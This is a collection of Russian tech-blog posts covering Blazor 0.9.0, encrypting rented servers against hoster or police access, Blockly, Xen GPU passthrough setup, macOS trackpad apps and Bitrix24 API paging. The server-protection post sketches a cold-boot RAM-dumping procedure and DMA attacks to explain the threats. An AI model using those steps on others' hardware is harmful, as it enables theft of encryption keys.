Изучите [анонс ASP.NET Core 3.0 Preview 3](https://devblogs.microsoft.com/aspnet/asp-net-core-updates-in-net-core-3-0-preview-3/) чтобы узнать детали этих улучшений. Также загляните в [релизную документацию](https://github.com/aspnet/Blazor/releases/tag/0.9.0) Blazor 0.9.0 за дополнительными деталями.
Обратите внимание: Шаблоны Blazor не были обновлены для использования нового расширения файла .razor для компонентов Razor в этом выпуске. Это обновление будет сделано в будущем выпуске.
Установите Blazor 0.9.0
-----------------------
Чтобы начать работу с Blazor 0.9.0 установите следующее:
1. [.NET Core 3.0 Preview 3 SDK](https://dotnet.microsoft.com/download/dotnet-core/3.0) (3.0.100-preview3-010431)
2. [Visual Studio 2019](https://visualstudio.com/preview) (Preview 4 или более поздние) с ASP.NET.
3. Последнее расширение [Blazor](https://go.microsoft.com/fwlink/?linkid=870389) из Visual Studio Marketplace.
4. Шаблоны Blazor в командной строке:
```
dotnet new -i Microsoft.AspNetCore.Blazor.Templates::0.9.0-preview3-19154-02
```
Инструкции по началу работы, документы и учебные пособия для Blazor можно найти по адресу [blazor.net](https://blazor.net).
Обновитесь до Blazor 0.9.0
--------------------------
Чтобы обновить существующие приложения Blazor до Blazor 0.9.0, сначала убедитесь, что вы сделали все, что перечислено выше.
Чтобы обновите проект Blazor 0.8.0 до 0.9.0:
* Обновите пакеты Blazor и ссылки на инструментальные средства .NET CLI до версии 0.9.0-preview3-19154-02.
* Обновите оставшиеся пакеты Microsoft.AspNetCore. \* До версии 3.0.0-preview3-19153-02.
* Удалите любое использование `JSRuntime.Current` и вместо этого используйте внедрение зависимостей, чтобы получить текущий экземпляр `IJSRuntime` и передать его туда, где это необходимо.
Оставьте отзыв
--------------
Мы надеемся, что вам понравится этот превью-выпуск Blazor. Как и в предыдущих версиях, ваши отзывы важны для нас. Если у вас возникли проблемы или вопросы во время использованияBlazor, [добавьте их на GitHub](https://github.com/aspnet/aspnetcore/issues). Вы также можете пообщаться с нами и сообществом Blazor на [Gitter](https://gitter.im/aspnet/blazor) если у вас появились проблемы. После того, как вы использовали Blazor некоторое время, пожалуйста, сообщите нам, что вы думаете, приняв участие в опросе.
Спасибо за использование Blazor! | https://habr.com/ru/post/443432/ | null | ru | null |
# Что делать, если к твоему хостеру пришли siloviki
[](https://habr.com/ru/company/ruvds/blog/506334/)*кдпв — Reuters*
Если вы арендовали сервер, то полного контроля у вас над ним нет. Это значит, что в любой момент к хостеру могут прийти специально обученные люди и попросить предоставить любые ваши данные. И хостер их отдаст, если требование будет оформлено по закону.
Вы очень не хотите, чтобы логи вашего веб-сервера или данные пользователей попали кому-то еще. Идеальную защиту построить не получится. Защититься от хостера, который владеет гипервизором и предоставляет вам виртуальную машину почти невозможно. Но, возможно, получится немного снизить риски. Шифрование арендованных машин не так бесполезно как кажется на первый взгляд. Заодно посмотрим на угрозы извлечения данных из физических серверов.
Модель угроз
------------
Как правило, хостер будет стараться максимально защищать интересы клиента настолько, насколько это возможно по закону. Если в письме от официальных органов запросили только логи доступа, хостер не будет отдавать дампы всех ваших виртуальных машин с базами данных. Не должен, по крайней мере. Если попросят полностью все данные, то хостер скопирует виртуальные диски со всеми файлами и вы об этом не узнаете.
Вне зависимости от сценария развития событий ваша основная задача — сделать атаку слишком сложной и дорогой. Обычно есть три основных варианта угрозы.
Официальный
-----------
Чаще всего в официальный офис хостера присылают бумажное письмо с требованием предоставить нужные данные согласно соответствующему постановлению. Если все оформлено корректно, хостер предоставляет нужные логи доступа и другие данные официальным органам. Обычно просто просят прислать нужные данные.
Изредка, если очень надо, представители правоохранительных органов приезжают в ЦОД лично. Например, когда у вас свой выделенный сервер и данные оттуда можно забрать только физически.
Во всех странах для получения доступа на частную территорию, проведения обыска и других мероприятий требуется наличие доказательств того, что данные могут содержать важную информацию для расследования преступления. Кроме этого требуется оформленный по всем регламентам ордер на обыск. Тут могут быть нюансы связанные с особенностями местного законодательства. Главное, что нужно понимать — в случае правильного официального пути представители ЦОДа не пустят никого дальше проходной.
Более того, в большинстве стран нельзя просто так взять и выдернуть работающее оборудование. Например, в России до конца 2018 года, согласно статье 183 УПК РФ, часть 3.1, гарантировалось, что при производстве выемки, изъятие электронных носителей информации производится с участием специалиста. По ходатайству законного владельца изымаемых электронных носителей информации или обладателя содержащейся на них информации специалистом, участвующим в выемке, в присутствии понятых с изымаемых электронных носителей информации осуществляется копирование информации на другие электронные носители информации.
Потом, к сожалению, этот пункт из статьи убрали.
Тайный и неофициальный
----------------------
Это уже территория деятельности специально обученных товарищей из NSA, FBI, MI5 и прочих трехбуквенных организаций. Чаще всего законодательство стран предусматривает крайне широкие полномочия для подобных структур. Более того, почти всегда есть законодательный запрет на любое прямое и косвенное разглашение самого факта сотрудничества с подобными силовыми ведомствами. В России есть аналогичные [правовые нормы](http://publication.pravo.gov.ru/Document/View/0001201801220009?index=3&rangeSize=1).
В случае подобной угрозы вашим данным, их почти наверняка вытащат. При этом помимо простого изъятия может использоваться весь неофициальный арсенал бэкдоров, уязвимостей нулевого дня, извлечение данных из оперативной памяти вашей виртуальной машины и прочие радости. Хостер при этом будет обязан максимально помогать специалистам силовых структур.
Недобросовестный сотрудник
--------------------------
Не все люди одинаково хороши. Кто-то из админов ЦОДа может решить подзаработать и продать ваши данные. Дальше развитие событий зависит от его полномочий и доступов. Самое неприятное, что администратор с доступом к консоли виртуализации имеет полный контроль над вашими машинами. Всегда можно снять снапшот вместе со всем содержимым оперативной памяти и дальше неторопливо его изучать.
VDS
---
Итак у вас есть виртуальная машина, которую вам выдал хостер. Как вы можете организовать шифрование, чтобы себя обезопасить? На самом деле, практически никак. Более того, даже чужой dedicated-сервер может оказаться в итоге виртуальной машиной, в которую прокинуты нужные устройства.
Если задачей удаленной системы является не просто хранение данных, а выполнение каких-то вычислений, то единственным вариантом работы с недоверенной машиной будет реализация [гомоморфного шифрования](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D0%BE%D1%81%D1%82%D1%8C%D1%8E_%D0%B3%D0%BE%D0%BC%D0%BE%D0%BC%D0%BE%D1%80%D1%84%D0%BD%D0%BE%D0%B5_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). При этом, система будет проводить вычисления без возможности понять, что именно она делает. К сожалению, накладные расходы для реализации такого шифрования настолько велики, что практическое их применение на данный момент ограничено очень узкими задачами.
Плюс, в момент, когда виртуальная машина запущена и выполняет какие-то действия, все зашифрованные тома находятся в доступном состоянии, иначе ОС просто не сможет с ними работать. Это значит, что имея доступ к консоли виртуализации, вы всегда можете снять снапшот работающей машины и извлечь все ключи из оперативной памяти.
Многие вендоры предпринимали попытки организовать аппаратное шифрование RAM для того, чтобы даже хостер не имел доступа к этим данным. Например, технология Intel Software Guard Extensions, которая организовывает области в виртуальном адресном пространстве, защищённые от чтения и записи извне этой области другими процессами, включая ядро операционной системы. К сожалению, вы не сможете полноценно довериться этим технологиям, так как вы будете ограничены своей виртуальной машиной. К тому же, уже существуют готовые примеры [успешной атаки](https://www.theregister.co.uk/2017/03/07/eggheads_slip_a_note_under_intels_door_sgx_can_leak_crypto_keys/) на эту технологию. И все же, шифрование виртуальных машин не так бессмысленно, как может показаться.
Шифруем данные на VDS
---------------------
Сразу оговорюсь, что все, что мы делаем ниже на полноценную защиту не тянет. Гипервизор позволит сделать нужные копии без остановки сервиса и незаметно для вас.
* Если по запросу хостер передаст “холодный” образ вашей виртуальной машины, то вы в относительной безопасности. Это наиболее частый сценарий.
* Если хостер отдаст полный снапшот работающей машины, то все довольно плохо. Все данные будут смонтированы в системе в открытом виде. Кроме того, появится возможность порыться в RAM в поисках приватных ключей и тому подобных данных.
По умолчанию, если вы развернули ОС из ванильного образа, у хостера нет root доступа. Всегда можно примонтировать носитель с rescue-образом и поменять пароль от root, сделав chroot в окружение виртуальной машины. Но это потребует перезагрузки, что будет замечено. Плюс, все примонтированные зашифрованные разделы будут закрыты.
Впрочем, если развертывание виртуальной машины идет не из ванильного образа, а из заранее подготовленного, то хостер часто может добавлять привилегированную учетную запись для оказания помощи в аварийной ситуации у клиента. Например, чтобы изменить забытый пароль от root.
Даже в случае полного снапшота не все так печально. Атакующий не получит зашифрованные файлы, если вы примонтировали их из удаленной файловой системы другой машины. Да, в теории можно расковырять дамп оперативной памяти и извлечь ключи шифрования оттуда. Но на практике это очень не тривиально и очень маловероятно, что процесс зайдет дальше простой передачи файлов.
Заказываем машину
-----------------
Для наших тестовых целей берем простую машину в [разделе для заказа серверов](https://ruvds.com/ru-rub#order). Много ресурсов нам не нужно, поэтому возьмем вариант с оплатой за фактически потраченные мегагерцы и трафик. Как раз хватит поиграться.
Классический dm-crypt всего раздела не взлетел. Диск по умолчанию отдается одним куском, с root на весь раздел. Уменьшать раздел с ext4 на примонтированном root — это практически гарантированный кирпич вместо файловой системы. Я попробовал) Бубен не помог.
Создаем криптоконтейнер
-----------------------
Поэтому не будем шифровать раздел целиком, а используем файловые криптоконтейнеры, а именно прошедший аудит и надежный VeraCrypt. Для наших целей этого достаточно. Для начала вытаскиваем и устанавливаем пакет с CLI-версией с официального сайта. Можете заодно проверить подпись.
```
wget https://launchpad.net/veracrypt/trunk/1.24-update4/+download/veracrypt-console-1.24-Update4-Ubuntu-18.04-amd64.deb
dpkg -i veracrypt-console-1.24-Update4-Ubuntu-18.04-amd64.deb
```
Теперь мы создадим сам контейнер где-то в нашем home, чтобы монтировать его вручную при перезагрузке. В интерактивном варианте задайте размер контейнера, пароль и алгоритмы шифрования. Можете выбрать патриотичный шифр Кузнечик и хеш-функцию Стрибог.
```
veracrypt -t -c ~/my_super_secret
```
Теперь давайте установим nginx, примонтируем контейнер и зальем в него секретную информацию.
```
mkdir /var/www/html/images
veracrypt ~/my_super_secret /var/www/html/images/
wget https://upload.wikimedia.org/wikipedia/ru/2/24/Lenna.png
```
Чуть поправим /var/www/html/index.nginx-debian.html, чтобы получить нужную страницу и можно проверять.
Подключаемся и проверяем
------------------------
*Контейнер примонтирован, данные доступны и отдаются.*
*А вот тут машина после перезагрузки. Данные надежно лежат в ~/my\_super\_secret.*
Если очень надо и хочется хардкора, то можно зашифровать всю ОС, чтобы при перезагрузке она требовала подключения по ssh и ввода пароля. Этого также будет достаточно в сценарии простого изъятия “холодных данных”. Вот [инструкция с использованием dropbear](https://benediktkr.github.io/ops/2015/05/01/remote-fde.html) и удаленным шифрованием дисков. Хотя в случае VDS это сложно и избыточно.
Bare metal
----------
Не так просто поставить собственный сервер в датацентр. Чужой dedicated может оказаться виртуальной машиной, куда прокинуты все устройства. Но что-то интересное в плане защиты начинается тогда, когда у вас появляется возможность разместить в датацентре свой доверенный физический сервер. Здесь уже можно в полный рост использовать традиционный dm-crypt, VeraCrypt или любое другой шифрование на ваш выбор.
Надо понимать, что при реализации тотального шифрования сервер не сможет самостоятельно подняться после ребута. Нужно будет поднимать соединение до локального интерфейса IP-KVM, IPMI или другого подобного аналога. После чего мы вручную вводим мастер-ключ. Схема выглядит так себе с точки зрения непрерывности и отказоустойчивости, но особых альтернатив тут нет, если данные настолько ценные.
*NCipher nShield F3 Hardware Security Module*
Более мягкий вариант предполагает, что данные зашифрованы, а ключ находится непосредственно в самом сервере в специальном HSM (Hardware Security Module). Как правило это очень функциональные устройства, которые не только обеспечивают аппаратную криптографию, но и имеют механизмы обнаружения попытки физического взлома. Если кто-то начнет ковырять ваш сервер болгаркой, то HSM с независимым источником питания сбросит ключи, которые хранит в своей памяти. Атакующему достанется зашифрованный фарш. При этом перезагрузка может происходить автоматически.
Удаление ключей — намного более быстрый и гуманный вариант, нежели активация термитной шашки или электромагнитного разрядника. За такие устройства вас будут очень долго бить соседи по стойке в датацентре. Тем более, что в случае использования [TCG Opal 2](https://en.wikipedia.org/wiki/Opal_Storage_Specification) шифрования на самих носителях вы практически не испытываете никакого оверхеда. Все это происходит прозрачно для ОС. Правда, при этом надо доверять условному Samsung и надеяться, что там честный AES256, а не банальный XOR.
При этом не нужно забывать, что все лишние порты должны быть отключены физически или тупо залиты компаундом. Иначе вы даете возможность атакующим провести [DMA-атаки](https://en.wikipedia.org/wiki/DMA_attack). Если у вас есть торчащий наружу PCI Express или Thunderbolt, включая USB c его поддержкой — вы уязвимы. Атакующий сможет через эти порты провести атаку и получить прямой доступ к памяти с ключами.
В совсем изощренном варианте атакующий сможет провести cold boot атаку. При этом он просто заливает хорошую порцию жидкого азота в ваш сервер, грубо извлекает замороженные планки памяти и снимает с них дамп со всеми ключами. Часто для проведения атаки достаточно обычного охлаждающего спрея и температуры в районе -50 градусов. Есть и более аккуратный вариант. Если вы не отключили загрузку с внешних устройств, то алгоритм атакующего будет еще проще:
1. Заморозить планки памяти без вскрытия корпуса
2. Подключить свою загрузочную флешку
3. Специальными утилитами снять данные из оперативной памяти, которые пережили перезагрузку, благодаря заморозке.
Разделяй и властвуй
-------------------
Ок, у нас есть только виртуалки, но хочется хоть как-то снизить риски утечки данных.
Можно в принципе попробовать пересмотреть архитектуру и разнести хранение данных и обработку по разным юрисдикциям. Например, фронтенд с ключами шифрования у хостера в Чехии, а бэкенд с зашифрованными данными где-нибудь в России. В случае стандартной попытки изъятия, крайне маловероятно, что силовые структуры смогут провести это одновременно в разных юрисдикциях. Плюс это частично страхует нас от сценария со снятием снапшота.
Ну или можно рассмотреть совсем чистый вариант — End-to-End шифрование. Конечно это выходит за пределы ТЗ и не подразумевает выполнение вычислений на стороне удаленной машины. Тем не менее, это вполне приемлемый вариант, если речь идет о хранении и синхронизации данных. Например, это очень удобно реализовано в том же Nextcloud. При этом синхронизация, версионирование и прочие плюшки серверной части никуда не денутся.
Итого
-----
Не бывает идеально защищенных систем. Задача состоит лишь в том, чтобы сделать атаку дороже потенциальной выгоды.
Некоторое снижение рисков доступа к данным на виртуальной можно получить, комбинируя шифрование и раздельное хранение у разных хостеров.
Более или менее надежный вариант — использование своего железного сервера.
А хостеру все равно придется так или иначе доверять. На этом держится вся индустрия.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=mekl&utm_content=prishli-siloviki)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=mekl&utm_content=prishli-siloviki#order) | https://habr.com/ru/post/506334/ | null | ru | null |
# Визуальный язык программирования Google Blockly
[Blockly](http://code.google.com/p/google-blockly/) — визуальный язык программирования с веб-интерфейсом. Создание программы осуществляется путём соединения блоков.
Некоторые демки:
[Maze](http://blockly-demo.appspot.com/blockly/demos/maze/index.html) — используйте Blockly, чтобы пройти лабиринт.
[Code](http://blockly-demo.appspot.com/blockly/demos/code/index.html) — экспорт программы Blockly в JavaScript, Dart, Python или XML.
Пока что Blockly находится в режиме технологического превью. Всех разработчиков приглашают поиграться и высказать свои идеи.
После экспорта в JavaScript:
```
var n;
var A;
var i;
var x;
var j;
n = 100;
A = [];
for (i = 0; i <= n; i++) {
A[i - 1] = true;
}
var i_end = Math.sqrt(n);
for (i = 2; i <= i_end; i++) {
if (A[i - 1] == true) {
j = Math.pow(i, 2);
while (j <= n) {
A[j - 1] = false;
j = (j || 0) + i;
}
}
}
for (x = 2; x <= n; x++) {
window.alert([x,': ',A[x - 1]].join(''));
}
``` | https://habr.com/ru/post/145067/ | null | ru | null |
# Проброс NVIDIA Quadro 4000 в виртуальную машину с использованием гипервизора Xen
Прочитав однажды пост [[1](#cite-1)] про успешный проброс видеокарты в виртуальную машину я подумал, что неплохо бы мне завести себе такую рабочую станцию.
При разработке кроссплатформенного программного обеспечения часто возникают проблемы с его тестированием. Всю свою работу я выполняю исключительно под Linux'ом, при этом конечный пользователь работает исключительно в операционной системе (ОС) Windows. Можно было бы использовать VirtualBox, например, но когда нужно проверить работу модулей использующих OpenGL или CUDA возникают серьёзные проблемы. Dual Boot как вариант даже не рассматриваю. Получается, что, так или иначе, мне приходиться использовать второй компьютер, который просто не куда поставить. При этом большую часть времени он простаивает без дела. Получается крайне не эффективная, с точки зрения использования ресурсов, схема.
Однажды моя мечта превратилась в крайнюю необходимость. Необходимо было собрать графическую станцию со следующими характеристиками:
1. Операционная система Windows 7 (далее Windows);
2. Набор программного обеспечения использующего DirectX, OpenGL и CUDA;
3. Высокоскоростное, локальное, отказоустойчивое хранилище размером порядка 10 Тб;
4. Механизм резервного копирования и восстановления всей системы;
5. Периодическое автоматическое резервное копирование пользовательских данных.
Многие могут подумать: «Причём же тут виртуализация?». Проблема в том, что Windows, по моему личному мнению, не отличается высокой надёжностью. Зачастую конечными пользователями системы являются не особо квалифицированные люди, в следствии чего на компьютер попадает зловредное ПО, которое может уничтожить все данные на всех накопителях. При этом необходимо чтобы бэкап хранился локально, но уничтожить его было не возможно. Организация большого и быстрого хранилища данных так же не является тривиальной задачей. Так или иначе, было решено запускать Windows в среде виртуальной машины (ВМ).
Я прочитал множество статей и документации (в том числе на хабре [[1](#cite-1)-[3](#cite-3)]) о пробросе видеокарт в среду ВМ. Вывод к которому я пришёл был не утешительным для меня. Большинство успешных пробросов осуществлялись с видеокартами ATI. Бробросить видеокарту NVIDIA возможно, но далеко не каждую. При этом требуется патчить гипервизор [[4](#cite-4), [5](#cite-5)].
Из-за необходимости использования технологии CUDA мне необходимо было пробросить именно видеокарту NVIDIA. Существует технология NVIDIA Multi-OS [[6](#cite-6)], которая позволяет пробрасывать видеокарты в ВМ. Поддерживают эту технологию только ускорители из серии Quadro [[7](#cite-7)].
Ещё одним недостатком большинства видеокарт является их ширина в два слота минимум. Зачастую это неприемлемо и именно поэтому была выбрана однослотовая видеокарта NVIDIA Quadro 4000. Она является самым мощном представителем семейства Quadro среди однослотовых вариантов.
Ключевые элементы системы:
1. Материнская плата ASUS P9X79 WS;
2. Процессор Core i7-3820;
3. Оперативная память 32 ГиБ (4-е планки по 8 ГиБ);
4. Видеокарта для dom0 (не важно какая);
5. Видеокарта для domU NVIDIA Quadro 4000.
Изначально я хотел реализовать задуманное с использованием гипервизора Xen. В качестве ОС для dom0 я выбрал Debian GNU/Linux wheezy (далее Debian). В ядре Linux имеется отличная реализация программных RAID-массивов.
В ходе экспериментов я пробовал KVM. Он отлично справлялся с любыми устройствами кроме видеокарты. К сожалению с Xen 4.1, входящим в состав распространённых дистрибутивов, у меня тоже ни чего не вышло. В среде виртуальной машины видеокарта упорно отказывалась стартовать.
К счастью не за долго до того как я начал заниматься данной проблемой в свет вышел Xen 4.2.0. Доступен он, естественно, только в виде исходных кодов.
Чтобы не было проблем с отключением необходимых для пробрасывания устройств от dom0 необходимо чтобы драйвер xen-pciback был включён в состав ядра. В диструбутивах Debian он поставляется в виде модуля.
Таким образом, необходимо было собрать гипервизор и ядро.
Установка Debian
----------------
При установке Debian я не делал ничего необычного. Устанавливал только базовую систему. Графическое окружение устанавливать не стоит, поскольку вместе с ним ставится множество программного обеспечения часть которого будет конфликтовать с собранным Xen.
По окончании базовой установки произвел установку минимального набора необходимого программного обеспечения.
```
$ sudo apt-get install gnome-core gvncviewer mc
```
Сборка гипервизора и ядра
-------------------------
Чтобы не засорять боевую систему, сборку я выполнял в специально установленной под VirtualBox'ом чистой ОС.
Чтобы собрать Xen необходимо выполнить ряд незамысловатых команд [[8](#cite-8)].
```
$ sudo apt-get build-dep xen
$ sudo apt-get install libglib2.0-dev libyajl-dev fakeroot bison flex libbz2-dev liblzo2-dev
$ wget http://bits.xensource.com/oss-xen/release/4.2.0/xen-4.2.0.tar.gz
$ tar xf xen-4.2.0.tar.gz
$ cd xen-4.2.0
$ ./configure --enable-githttp
$ echo "PYTHON\_PREFIX\_ARG=--install-layout=deb" > .config
$ make deb
```
На выходе получил пакет xen-upstream-4.2.0.deb.
Сборка ядра производилась из-за необходимости включения драйвера xen-pciback в состав ядра. Процесс сборки хорошо описан в официальной документации по Debian [[9](#cite-9)].
```
$ sudo apt-get install linux-source
$ sudo apt-get build-dep linux-latest
$ sudo apt-get install kernel-package fakeroot
$ tar xf /usr/src/linux-source-3.2.tar.bz2
$ cd linux-source-3.2
$ cp /boot/config-`uname -r` .config
$ sed -i 's/CONFIG_XEN_PCIDEV_BACKEND=.*$/CONFIG_XEN_PCIDEV_BACKEND=y/g' .config
$ make-kpkg clean
$ fakeroot make-kpkg --initrd --revision=1.0.0 kernel_image
```
На выходе получил linux-image-3.2.32\_1.0.0\_amd64.deb.
Установка ядра и гипервизора
----------------------------
Полученные пакеты я установил на целевую систему. При устанавке Xen в директории /boot создаются ненужные символьные ссылки, которые необходимо удалить. Поскольку в собранном пакете xen-upstream-4.2.0.deb не прописаны зависимости, пакеты необходимые для работы Xen требуется устанавливать в ручную.
```
$ sudo dpkg -i linux-image-3.2.32_1.0.0_amd64.deb
$ sudo dpkg -i xen-upstream-4.2.0.deb
$ sudo su -c "cd /boot; rm xen.gz xen-4.gz xen-4.2.gz xen-syms-4.2.0"
$ sudo apt-get install libyajl2 liblzo2-2 libaio1
```
Делаем Xen загружаемым по умолчанию.
```
$ sudo dpkg-divert --divert /etc/grub.d/08_linux_xen --rename /etc/grub.d/20_linux_xen
```
Регистрируем службы Xen в системе.
```
$ sudo update-rc.d xend start 99 2 3 5 stop 99 0 1 6
$ sudo update-rc.d xencommons start 99 2 3 5 stop 99 0 1 6
$ sudo update-rc.d xendomains start 99 2 3 5 stop 99 0 1 6
$ sudo update-rc.d xen-watchdog start 99 2 3 5 stop 99 0 1 6
```
Чтобы скрыть необходимые для пробрасывания устройства от dom0 драйверу xen-pciback необходимо подать их список. Чтобы отключить Memory Ballooning необходимо заранее указать объём памяти требуемый для dom0. Для этого в /etc/default/grub необходимо добавить 2 строчки.
```
GRUB_CMDLINE_LINUX_XEN_REPLACE_DEFAULT="xen-pciback.hide=(02:00.0)(02:00.1)
(00:1a.0)(00:1d.0)(09:00.0)(0a:00.0)(0b:00.0)(03:00.0)(00:1b.0)"
GRUB_CMDLINE_XEN_DEFAULT="dom0_mem=15360M"
``` | https://habr.com/ru/post/161747/ | null | ru | null |
# 11 MacOS приложений для продуктивной работы с трекпадом
MacOS имеет большой набор возможностей по управлению с помощью трекпада, но следующие 11 приложений сделают вашу работу с ним ещё продуктивнее.
Нативные возможности MacOS
--------------------------
Если вы не новичок в использовании трекпада на Мак, то можете пропустить эту часть. Из коробки MacOS [предоставляет](https://support.apple.com/ru-ru/HT204895) различные жесты для управления с трекпада:
* Свайп двумя пальцами влево/вправо для переключения между страницами. Работает, например, в браузерах для перехода по истории назад/вперёд.
* Свайп тремя пальцами влево/вправо для переключения между полноэкранными приложениями.
* Свайп влево двумя пальцами от правого края трекпада для вызова Центра Уведомлений.
* Свайп вверх тремя пальцами для вызова Mission Control, который показывает окна всех открытых приложений.
* Свайп вниз тремя пальцами для вызова Expose, который показывает окна текущего приложения.
* Сведите (pinch) четыре пальца для вызова Launchpad, который показывает список доступных приложений.
* Разведите (spread) четыре пальца для показа рабочего стола.
Вы можете изменить эти жесты или отключить их в настройках (System Settings > Trackpad > More Gestures).
BetterTouchTool
---------------
Супер-комбайн который умеет всё и даже больше. Позволяет настраивать трекпад, мышь, тачбар, клавиатуру и даже MIDI. На этом возможности не заканчиваются: BTT, например, имеет встроенный оконный менеджер. С помощью BetterTouchTool можно настроить действия на различные жесты, касания и свайпы. Вы даже можете создавать свои собственные жесты с помощью BTT. Короче говоря, если вы что-то хотите сделать с помощью трекпада, то, скорее всего, BetterTouchTool сможет вам в этом помочь.
Сайт: <https://folivora.ai/>
Стоимость: $10 за два года обновлений или $22 за пожизненную лицензию.
Исходный код: закрыт.
Multitouch
----------
Более простая альтернатива BetterTouchTool. Позволяет настраивать действия на различные жесты, касания и свайпы. Как и BTT, имеет встроенный оконный менеджер.
Настройки трекпада в Multitouch.Сайт: <https://multitouch.app/>
Стоимость: $16
Исходный код: закрыт.
Middle
------
Программа от разработчика Multitouch для эмуляции клика средней кнопкой мыши.
Окно настроек Middle.Сайт: <https://middleclick.app/>
Стоимость: $8
Исходный код: закрыт.
### MiddleClick
Если вам нужен средний клик мышью, но бесплатно и с открытым исходным кодом, то MiddleClick - то что вам нужно. Простое и невероятно полезное приложение, которое добавляет клик средней кнопкой мыши по касанию/нажатию на трекпад тремя пальцами. Приложение бесплатное, исходный код открыт. Проект поддерживает пользователь Хабра [@artginzburg](/users/artginzburg). Установить можно из homebrew:
```
brew install --cask --no-quarantine middleclick
```
Изображение из README.md проекта MiddleClick.Сайт: <https://github.com/artginzburg/MiddleClick-Ventura>
Стоимость: бесплатно.
Исходный код: <https://github.com/artginzburg/MiddleClick-Ventura>
Gestr
-----
Позволяет запускать приложения по жестам, которые вы нарисуете. Коснитесь трекпада четыремя пальцами и в появившемся окне нарисуйте символ, который вы задали в настройках, чтобы открыть нужное вам приложение.
Сайт: <https://github.com/mhuusko5/Gestr>
Стоимость: бесплатно.
Исходный код: <https://github.com/mhuusko5/Gestr>
### Touch-Tab
Программа для переключения между приложениями с помощью трекпада. Эмулирует нажатие Command+Tab/Command+Shift+Tab по свайпу тремя пальцами влево/вправо.
*Disclaimer: я разработчик Touch-Tab. Подробнее в посте* [*Touch-Tab — эмулируем Cmd-Tab с помощью тачпада в macOS*](https://habr.com/ru/post/684190/).
AppSwitcher открытый с помощью Touch-Tab.Сайт: <https://github.com/ris58h/Touch-Tab>
Стоимость: бесплатно.
Исходный код: <https://github.com/ris58h/Touch-Tab>
Swish
-----
Оконный менеджер заточенный под управление с трекпада. Позволяет управлять окнами с помощью жестов на иконке приложения в Dock или заголовке окна.
Сайт: <https://highlyopinionated.co/swish/>
Стоимость: $16
Исходный код: закрыт.
Grid
----
Ещё один оконный менеджер с возможностью управления с трекпада. Позволяет управлять окнами с помощью свайпов по заголовку окна.
Окно настроек Grid.Сайт: <https://macgrid.app/>
Стоимость: $4
Исходный код: закрыт.
Penc
----
И ещё один оконный менеджер. На этот раз бесплатный и с открытым исходным кодом. Активируется по двойному нажатию на на клавишу-модификатор (Command по умолчанию).
Сайт: <https://deniz.co/penc/>
Стоимость: бесплатно.
Исходный код: <https://github.com/dgurkaynak/Penc>
Jitouch
-------
Альтернатива BetterTouchTool/Multitouch. Позволяет настраивать действия на различные жесты. Работает не очень стабильно, возможно, поэтому и бесплатно. Исходный код открыт.
Панель настроек Jitouch.Сайт: <https://www.jitouch.com/>
Стоимость: бесплатно.
Исходный код: <https://github.com/JitouchApp/Jitouch>
Noo
---
Простое приложение, которое позволяет эмулировать нажатие некоторой комбинации клавиш по касанию трекпада тремя, четыремя или пятью пальцами. Доступно в [AppStore](https://apps.apple.com/us/app/noo-mouse/id1514904040).
Окно настроек Noo.Сайт: <https://github.com/tanin47/noo>
Стоимость: бесплатно.
Исходный код: <https://github.com/tanin47/noo> | https://habr.com/ru/post/709402/ | null | ru | null |
# Как быстро получить много данных от Битрикс24 через REST API
Нередко при работе с Bitrix24 REST API возникает необходимость быстро получить содержимое определенных полей всех элементов какого-то списка (например, лидов). Традиционный способ для этого - обращение к серверу через метод `*.list` (например, `crm.lead.list` для лидов) с параметром `select`, перечисляющим список требуемых полей. При этом чем больше размер списка и чем больше полей вы выгружаете, тем дольше сервер формирует ответ.
Например, вот сравнительные скорости выгрузки одного поля для разных типов полей:
Плюс, в силу того, что информация сервером выдается постранично, существует несколько стратегий для того, чтобы получить весь список, и некоторые из них позволяют ускорять процесс на порядки по сравнению с последовательными запросами.
Стратегии
---------
Ниже мы описываем три стратегии, которые мы условно назвали "ID filter", "Start increment' и "List + get".
Первые две стратегии ("ID filter" и "Start increment") [предложены в официальной документации Битрикс24](https://dev.1c-bitrix.ru/rest_help/rest_sum/start.php), но мы ниже предлагаем их "докрутить".
### ID filter
Запросы отправляются к серверу последовательно с параметром `"order": {"ID": "ASC"}` (сортировка по возрастанию ID), и в каждом последующем запросе используются результаты предыдущего (фильтрация по ID, где ID > максимального ID в результатах предыдущего запроса).
При этом для ускорения используется параметр `start = -1` для отключения затратной по времени операции расчета общего количества записей (поле `total`), которое по умолчанию возвращается в каждом ответе сервера при вызове методов вида `*.list`.
В потенциале для ускорения можно попытаться параллельно передвигаться по списку сущностей в два потока: с начала списка и с конца, продолжая получать страницы, пока ID в двух потоках не пересекутся. Такой способ, возможно, будет давать двукратное ускорение до тех пор, пока не будет исчерпан пул запросов к серверу и не потребуется включить throttling.
### Start increment
Стратегия, при которой перебираются страницы путем увеличения параметра `start`, который является средством позиционирования курсора для получения следующей страницы.
Если перед нами стоит цель получить полный набор сущностей, то, в отличие от предыдущей стратегии, эта хорошо поддается ускорению (несмотря на то, что она требует использования параметра `start`, что замедляет работу сервера).
После того, как мы получили первую страницу и увидели в ней общее количество элементов (поле `total`), то дальнейшее ускорение запросов можно получить двумя нижеописанными способами.
#### Объединение запросов в батчи
Зная общее количество элементов, можно сразу создать запросы на все страницы и объединить их в батчи. (Битрикс поддерживает батчи в 50 запросов.) Использование батчей позволяет обойти ограничения на максимальную скорость запросов, так как один батч считается за один запрос при учете сервером количества получаемых запросов.
#### Параллельная отправка батчей к серверу
Примеры кода в официальной документации Битрикс24 REST API везде предлагают последовательную отправку запросов и описывают лишь ограничения на скорость отправки запросов. Но параллельная отправка запросов возможна и позволяет сильно ускорить обмен информацией с сервером.
Впрочем, таким образом достаточно просто перегрузить сервер, который даже при соблюдении скорости запросов начинает обрывать соединение и уходить в таймауты. Поэтому такой подход требует нахождения пределов нагрузки на сервер экспериментальным способом.
Именно такая стратегия сейчас заложена в метод `get_all()` в питоновской библиотеке `fast_bitrix24` (пиарюсь - библиотеку написал я).
### List + get
Составная стратегия, при которой при помощи стратегии "Start increment" от сервера получается сначала список всех ID по методу `*.list` (с указанием, что нужны только ID - `'select': ['ID']`) , а потом через метод `*.get` получается содержимое всех полей для каждого ID. При этом в обоих шагах используются описанные выше способы ускорения "Объединение запросов в батчи" и "Параллельная отправка батчей".
Тест
